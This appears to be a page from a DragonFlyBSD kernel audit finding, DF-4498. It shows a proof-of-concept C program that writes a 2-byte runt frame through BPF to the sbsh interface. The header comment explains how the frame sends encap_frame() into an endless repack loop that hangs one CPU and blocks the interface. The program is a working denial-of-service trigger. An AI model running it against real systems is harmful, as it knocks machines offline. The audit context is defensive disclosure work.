โฌข DragonFlyBSD Kernel Audit
DF-4498 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-4498 trigger โ€” sbsh encap_frame() infinite repack loop.
 *
 * A frame with 0 < m_pkthdr.len < 5 dequeued into encap_frame() hits the
 * `m->m_len < 5` condition (if_sbsh.c:667); repack() rebuilds a single mbuf
 * with m_len = m_pkthdr.len (if_sbsh.c:721) โ€” still < 5 โ€” and
 * `goto look_for_nonzero` restarts the check: allocate/copy/free forever
 * while holding ifp->if_serializer. One CPU spins in the kernel; every path
 * taking that serializer blocks.
 *
 * Injection vector on real hardware: BPF write of a runt frame (root), or a
 * bridge member forwarding a LAN peer's runt into sbsh0 (unprivileged peer).
 *
 * Requires the Granch SBNI12/16 card (PCI 0x55:0x9d); NOT present on the
 * audit QEMU guest โ€” source-level confirmation only.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *ifn = argc > 1 ? argv[1] : "sbsh0";
	char dev[16];
	unsigned char runt[2];		/* 2-byte frame: 0 < len < 5 */
	int fd, n;
	struct ifreq ifr;

	runt[0] = 0xde; runt[1] = 0xad;

	for (n = 0; n < 64; n++) {
		snprintf(dev, sizeof(dev), "/dev/bpf%d", n);
		fd = open(dev, O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0) {
		perror("open /dev/bpfN");
		return 1;
	}

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifn, sizeof(ifr.ifr_name));
	if (ioctl(fd, BIOCSETIF, &ifr) < 0) {
		perror("BIOCSETIF");
		return 1;
	}

	/* one 2-byte frame is enough: encap_frame spins forever on it */
	if (write(fd, runt, sizeof(runt)) < 0)
		perror("bpf write");
	printf("runt injected; watch the kernel spin (top: 100%% sys on one cpu)\n");
	return 0;
}